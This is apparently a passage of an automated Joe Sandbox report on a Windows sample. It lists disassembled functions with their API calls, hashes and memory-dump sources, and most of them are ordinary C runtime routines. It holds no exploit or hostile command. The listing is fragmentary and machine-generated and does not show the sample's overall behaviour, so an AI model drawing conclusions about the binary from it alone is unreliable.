Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: af6b2c4c80a21e0fad5967d2c39cfc7c44dfe4beed6d8d50c9c2508ff981737a
Instruction ID: cd127e99c353560386cc805d4c217f896c7c5b519ab8e89e15ebd865a018de1a
Opcode Fuzzy Hash: af6b2c4c80a21e0fad5967d2c39cfc7c44dfe4beed6d8d50c9c2508ff981737a
Instruction Fuzzy Hash: 6711E2F1E00714ABD620DF49D801A4BF7E9EB44B14F544A2FE81AC3B40E779E904CA96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C430 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040C451
_memset.LIBCMT ref: 0040C464
lstrcat.KERNEL32(?,043F6380), ref: 0040C47A

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 0040C492
lstrcat.KERNEL32(?,?), ref: 0040C4A6

Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C0D9
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C0EC
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C0FF
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C112
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C125
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C138
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C14E
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C161
Part of subcall function 0040C0B0: _memset.LIBCMT ref: 0040C174
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,04372398), ref: 0040C189
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,043F6578), ref: 0040C19D
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,043723C8), ref: 0040C1B1
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,04372078), ref: 0040C1C4
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,043F6500), ref: 0040C1D8
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,?), ref: 0040C1E6
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,00448A58), ref: 0040C1F8
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,?), ref: 0040C20C
Part of subcall function 0040C0B0: lstrcat.KERNEL32(?,00448A5C), ref: 0040C21E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: _memsetlstrcat$FolderPath
String ID:
API String ID: 48314839-0
Opcode ID: 15fa391787fba3fea497c27e464c6881b5b1aaacd2c5b9b9bbdb3002faf1a2b4
Instruction ID: b59e88479793305f21b852158a117a1d28c5b106ade38806e09135971d0bd680
Opcode Fuzzy Hash: 15fa391787fba3fea497c27e464c6881b5b1aaacd2c5b9b9bbdb3002faf1a2b4
Instruction Fuzzy Hash: 29019671E40218ABDB10EBA1DC56F9E737C9F04304F8006EAF609660C1E974B7598F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00432590 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0043259C

Part of subcall function 0043183E: __getptd_noexit.LIBCMT ref: 00431841
Part of subcall function 0043183E: __amsg_exit.LIBCMT ref: 0043184E

__getptd.LIBCMT ref: 004325B3
__amsg_exit.LIBCMT ref: 004325C1
__lock.LIBCMT ref: 004325D1
__updatetlocinfoEx_nolock.LIBCMT ref: 004325E5

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 9c2a49c3f2aa9ec09df436cd545ca9f5d81b03b3e2334c9bb31f2fa576e7248e
Instruction ID: df7ba912f2e2a4d6a479e93c48b8e676a4e02ff05ca088844b4f79690934b8b7
Opcode Fuzzy Hash: 9c2a49c3f2aa9ec09df436cd545ca9f5d81b03b3e2334c9bb31f2fa576e7248e
Instruction Fuzzy Hash: 45F09631900710BBD625BB66590271E73E06F08719F55614FF810A72D2DBBC5B419A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00423740 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 183COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 004238FB

Strings

%, xrefs: 0042388D
+, xrefs: 00423899
$, xrefs: 00423797

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: 70e7d8f4b358e05bd386961021af3ca021786b2b5753f3cbf70cdf7322085b84
Instruction ID: 818e984bf4ec7d9302aeb8fde799f94cc77572de90cbce5519adbb06ae0fb222
Opcode Fuzzy Hash: 70e7d8f4b358e05bd386961021af3ca021786b2b5753f3cbf70cdf7322085b84
Instruction Fuzzy Hash: 48517CB2F0022896DF15AE58E8847DF7BF4EB41341F60858BE445E7392EA3C4E448BC9

Uniqueness

Uniqueness Score: -1.00%

Function 00423950 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177COMMON

Download Yara Rule

APIs

swprintf.LIBCMT ref: 00423AF9

Strings

+, xrefs: 00423A97
%, xrefs: 00423A8B
$, xrefs: 004239A7

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: 8a9a017ca11ac4d9be89e8168295766a184cab03827e112451976c5079d38b9a
Instruction ID: 2ad9113095d07582138bd32fc1cc3094f6991bbf0be934e1217043b7381b0bf4
Opcode Fuzzy Hash: 8a9a017ca11ac4d9be89e8168295766a184cab03827e112451976c5079d38b9a
Instruction Fuzzy Hash: EE517B72F002289ADF15DE58E8847DF7BB4EB05301F6085ABD4C5A3292E77C4E858BD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B050 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040B0CC
std::_Xinvalid_argument.LIBCPMT ref: 0040B0E6
_memmove.LIBCMT ref: 0040B13C

Part of subcall function 00405170: std::_Xinvalid_argument.LIBCPMT ref: 00405189
Part of subcall function 00405170: std::_Xinvalid_argument.LIBCPMT ref: 004051AA
Part of subcall function 00405170: std::_Xinvalid_argument.LIBCPMT ref: 004051C5
Part of subcall function 00405170: _memmove.LIBCMT ref: 0040522D

Strings

string too long, xrefs: 0040B0C7, 0040B0E1

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 048ebedf004d07a5c01b0b9f3aade49e72b1249e4649907fac2a8dbadab243b3
Instruction ID: 648ec7f575421479475fc7f3709d06fb87f60761589b87f70d757eda3573fab3
Opcode Fuzzy Hash: 048ebedf004d07a5c01b0b9f3aade49e72b1249e4649907fac2a8dbadab243b3
Instruction Fuzzy Hash: 1F3104323006104BD7249E6CA89092BF7EAEBD1760B60453FF4959B7D1C7759C4487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2ED Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040B2AD
std::_Xinvalid_argument.LIBCPMT ref: 0040B2BF
__CxxThrowException@8.LIBCMT ref: 0040B316

Strings

string too long, xrefs: 0040B2A8, 0040B2BA

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$Exception@8Throw
String ID: string too long
API String ID: 2310008865-2556327735
Opcode ID: 1aedbcf7e3bbaa77ad639321fb168fc9380f9a831c73c8f9e0bb2811bbde690f
Instruction ID: b45465e2285bde38010e678fd2d76a8927c87a1be3a8fac5d3f96befd988c2e1
Opcode Fuzzy Hash: 1aedbcf7e3bbaa77ad639321fb168fc9380f9a831c73c8f9e0bb2811bbde690f
Instruction Fuzzy Hash: 97219A30200B009FD7219F28D19072EBBE1EF52700F204A6EE8966B7C1D779A945C7AE

Uniqueness

Uniqueness Score: -1.00%

Function 00412960 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00412976

Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A052
Part of subcall function 0042A03D: __CxxThrowException@8.LIBCMT ref: 0042A067
Part of subcall function 0042A03D: std::exception::exception.LIBCMT ref: 0042A078

_memmove.LIBCMT ref: 004129B4

Strings

NBB, xrefs: 00412969, 004129B3
invalid string position, xrefs: 00412971

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: NBB$invalid string position
API String ID: 1785806476-2996051759
Opcode ID: d2a7ffdeb411dc6a239a3f89a38f0f21f34454a01e66af6317a841fec3605c6e
Instruction ID: b8d4c22586e007a79c21f2cf71f8c4a491e485df3f08f9461d28f90a968f037c
Opcode Fuzzy Hash: d2a7ffdeb411dc6a239a3f89a38f0f21f34454a01e66af6317a841fec3605c6e
Instruction Fuzzy Hash: 3111CA723102145B8724CE6DDA808AAF3A6FFD5714720492FD0C5C7604DA75D866C7E9

Uniqueness

Uniqueness Score: -1.00%

Function 00429370 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,h@,FFFFFFFF,00000000,00429FA5,?,00000000,?,0040E368,?), ref: 00429396
CloseHandle.KERNEL32(?,h@,FFFFFFFF,00000000,00429FA5,?,00000000,?,0040E368,?), ref: 004293A7
CloseHandle.KERNEL32(?,h@,FFFFFFFF,00000000,00429FA5,?,00000000,?,0040E368,?), ref: 004293BD

Strings

h@, xrefs: 00429372

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$FileUnmapView
String ID: h@
API String ID: 260491571-147436215
Opcode ID: dc4fbe6dc68140f57fb5f5284aa04cb54823054c1fb66a02e19526d6353a5cc9
Instruction ID: 768f844dd991fe7b76b8e256e930615aeeac8d42d208b1d03a4a8cd85c2e8348
Opcode Fuzzy Hash: dc4fbe6dc68140f57fb5f5284aa04cb54823054c1fb66a02e19526d6353a5cc9
Instruction Fuzzy Hash: 7FF08176604B908FCB30CF65E884807BBD5BF48210708C87FE99AC3B00C679EC448B19

Uniqueness

Uniqueness Score: -1.00%

Function 0041F570 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0040D7AA), ref: 0041F57F
IsWow64Process.KERNEL32(00000000), ref: 0041F586

Strings

x86, xrefs: 0041F59B
x64, xrefs: 0041F594

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Process$CurrentWow64
String ID: x64$x86
API String ID: 1905925150-1778291495
Opcode ID: 06f38ad00cca7c71e70b73f84643d21477bd44600d2ab725e7f9c748a225cd65
Instruction ID: a3c4b7af4dec5338bba367d39cfba03bfff69244203068fbf1c77fad660fa4b4
Opcode Fuzzy Hash: 06f38ad00cca7c71e70b73f84643d21477bd44600d2ab725e7f9c748a225cd65
Instruction Fuzzy Hash: 15D01271515108BBEB508F94D948B9BB7ACD704341F04457AE908C2200EB798E489BAA

Uniqueness

Uniqueness Score: -1.00%

Function 004094D0 Relevance: 6.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004094FD
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 0040952B

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: FilePointer_memset
String ID:
API String ID: 1890419486-0
Opcode ID: 4567c47c9be9029f71acb378f96a8674aaf78bed3deace65df786a8aa068e76a
Instruction ID: c6645d2f392cb268b978f16dd61c33fc7dab44ab593191247ecbf0f50ad54b3b
Opcode Fuzzy Hash: 4567c47c9be9029f71acb378f96a8674aaf78bed3deace65df786a8aa068e76a
Instruction Fuzzy Hash: 00512872E002046BEF21DA65DC41BAF77A8EF44318F04857EE858A32C2F7799E15CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0043A796 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043A7CA
__isleadbyte_l.LIBCMT ref: 0043A7FD
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,50036AD0,00BFBBEF,00000000,?,?,?,0043BD78,00000109,00BFBBEF,00000003), ref: 0043A82E
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,0043BD78,00000109,00BFBBEF,00000003), ref: 0043A89C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 166a3e74498dac8727b7539bbf524f72f00e0d6ee503ff5446badee66f8c782f
Instruction ID: 494745e01c601e9380a0e6e5cf11c2897839e485edd00124f1f1b98f571d7b90
Opcode Fuzzy Hash: 166a3e74498dac8727b7539bbf524f72f00e0d6ee503ff5446badee66f8c782f
Instruction Fuzzy Hash: E0312630A40285EFDB14DF64C8809BE3BB5FF09310F14856BE4918B2A1D734DDA2CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042A0F8 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

____lc_handle_func.LIBCMT ref: 0042A108

Part of subcall function 0042DDB7: __getptd.LIBCMT ref: 0042DDB7

____lc_codepage_func.LIBCMT ref: 0042A113

Part of subcall function 0042DD91: __getptd.LIBCMT ref: 0042DD91

___pctype_func.LIBCMT ref: 0042A178
___crtLCMapStringA.LIBCMT ref: 0042A1DE

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __getptd$String____lc_codepage_func____lc_handle_func___crt___pctype_func
String ID:
API String ID: 3477544643-0
Opcode ID: 0c6c45855b2f75e2200a5ae20c1fe57aba972a19161243ef21229991599fb17e
Instruction ID: 8ea4c0220bb8b94b1a95f6bfeebf57df6e71a8ccb0be10f6367e84c151fb9336
Opcode Fuzzy Hash: 0c6c45855b2f75e2200a5ae20c1fe57aba972a19161243ef21229991599fb17e
Instruction Fuzzy Hash: 2531E971B04264ABDB218F59D881BBE7BB4AF10314F54809BEC51DB381D67CDA60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0043517F Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004351A5

Part of subcall function 00434FD1: __fltout2.LIBCMT ref: 00434FFC

__cftog_l.LIBCMT ref: 004351CB
__cftoe_l.LIBCMT ref: 004351FD

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 2e36e5a94273bcac4c0e54878595bd8281ded2bc15cf40c4318006f6636d26d0
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 8A118C3244054EBBCF125E84CC02CEE3F62BB4C354F589416FE2859130D73AD9B2AB89

Uniqueness

Uniqueness Score: -1.00%

Function 004207B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00420817
GetUserDefaultLocaleName.KERNEL32(?,00000055,1A5A77C2,00000010,?), ref: 00420828

Strings

Unknown, xrefs: 0042083E

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: DefaultLocaleNameUser_memset
String ID: Unknown
API String ID: 3917531957-1654365787
Opcode ID: 5ec7abad7f60c18ba715ea14aa6e18e3060eebb639654a82dba3e7e1c1011b60
Instruction ID: b2a90390cb225ff9ef5d85d2a8e95dff89f7d0c69b75d302300bf72e07f214f5
Opcode Fuzzy Hash: 5ec7abad7f60c18ba715ea14aa6e18e3060eebb639654a82dba3e7e1c1011b60
Instruction Fuzzy Hash: B141D1B1D00268DBEB24DF54DC41BEAB7B4FB08304F4045EEE50A63281D7746A88CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B220 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040B2AD
std::_Xinvalid_argument.LIBCPMT ref: 0040B2BF

Part of subcall function 004050C0: std::_Xinvalid_argument.LIBCPMT ref: 004050D4
Part of subcall function 004050C0: LoadLibraryA.KERNEL32 ref: 004050E5

Strings

string too long, xrefs: 0040B2A8, 0040B2BA

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$LibraryLoad
String ID: string too long
API String ID: 1981689453-2556327735
Opcode ID: 2dd9cb8c1095da6c72fffa41759ff9e880a326514b8cb70aa60380d50b650074
Instruction ID: 8ca6088757c8dc999a9d464f46abdee437f26fe25bf952cb23b7bce24e733ada
Opcode Fuzzy Hash: 2dd9cb8c1095da6c72fffa41759ff9e880a326514b8cb70aa60380d50b650074
Instruction Fuzzy Hash: 38419A30604704DFCB21CF28D580B5EBBE4EB46750F204A6FE896AB7C0D778A9418BD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040B170 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040B18B

Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A005
Part of subcall function 00429FF0: __CxxThrowException@8.LIBCMT ref: 0042A01A
Part of subcall function 00429FF0: std::exception::exception.LIBCMT ref: 0042A02B

std::_Xinvalid_argument.LIBCPMT ref: 0040B1A2

Strings

string too long, xrefs: 0040B186, 0040B19D

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: b364a98fa658173fb7a0a024e16aaeca254444431685dc93fe62b1bc337b309f
Instruction ID: 704c22435d8f5737a3a7043ff18631b168fddf0f1598a0c6d7502bec2d1815b0
Opcode Fuzzy Hash: b364a98fa658173fb7a0a024e16aaeca254444431685dc93fe62b1bc337b309f
Instruction Fuzzy Hash: A511D2323006104BD221AA9CA880A6AF3D9EBA5760F20066FF5929B7C1C7B5980483ED

Uniqueness

Uniqueness Score: -1.00%

Function 0042E184 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcpy_s.LIBCMT ref: 0042E195
__invoke_watson.LIBCMT ref: 0042E1E9

Part of subcall function 0042E024: _strcat_s.LIBCMT ref: 0042E043

Strings

\DGB, xrefs: 0042E1D4

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_s_strcpy_s
String ID: \DGB
API String ID: 312943863-484736712
Opcode ID: 617ad7e4efbb008c410df8eac89a869bd71398651bd674f3d9f50bddd2920725
Instruction ID: 6945b073c6ab6a3a59be7d0d745f791286ee7d5f43bb7a3b41295faead734a60
Opcode Fuzzy Hash: 617ad7e4efbb008c410df8eac89a869bd71398651bd674f3d9f50bddd2920725
Instruction Fuzzy Hash: 39F0F6726002287BDF116E62DC02EAB3F9DFF00310F888067FA184A112E776DE64D794

Uniqueness

Uniqueness Score: -1.00%

Function 004272B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,yB,0040ABE2,?,004279E9,?,?,?,?,?,?,?,?,?,00429633,?), ref: 004272D0

Strings

yB, xrefs: 004272C5
yB, xrefs: 004272C8, 004272CB

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$FileSystem
String ID: yB$yB
API String ID: 2086374402-2702588346
Opcode ID: f28f137b98f60e335c1557237287a36a9d16f08c1201286059c285d58d468657
Instruction ID: fa0a1dca10432e4c3c7b0f9328c57cedb5266b9ae49067b34649c44c2d1e91da
Opcode Fuzzy Hash: f28f137b98f60e335c1557237287a36a9d16f08c1201286059c285d58d468657
Instruction Fuzzy Hash: E001A776E105099FEB04CF6DDC408AEB7B5FF88310B51826DE815E7344EA70EA16CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0042F454 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042BB8D: __getptd.LIBCMT ref: 0042BB93
Part of subcall function 0042BB8D: __getptd.LIBCMT ref: 0042BBA3

__getptd.LIBCMT ref: 0042F463

Part of subcall function 0043183E: __getptd_noexit.LIBCMT ref: 00431841
Part of subcall function 0043183E: __amsg_exit.LIBCMT ref: 0043184E

__getptd.LIBCMT ref: 0042F471

Strings

csm, xrefs: 0042F47F

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: 1a8c038da110eec8f171db0b8bb9412562f46f54df6941bcae33ba1f88532fd0
Instruction ID: 269fc77ecdcac0281a95f0796f23916795470c5a83711411d71efc1ffcc7ef08
Opcode Fuzzy Hash: 1a8c038da110eec8f171db0b8bb9412562f46f54df6941bcae33ba1f88532fd0
Instruction Fuzzy Hash: 3B01B134A002109ACF34AF31E06076F7BB0AF24310FD4693FD44456790DB788998CA48

Uniqueness

Uniqueness Score: -1.00%

Function 0042E024 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

_strcat_s.LIBCMT ref: 0042E043
__invoke_watson.LIBCMT ref: 0042E05F

Strings

hD, xrefs: 0042E035, 0042E03B

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

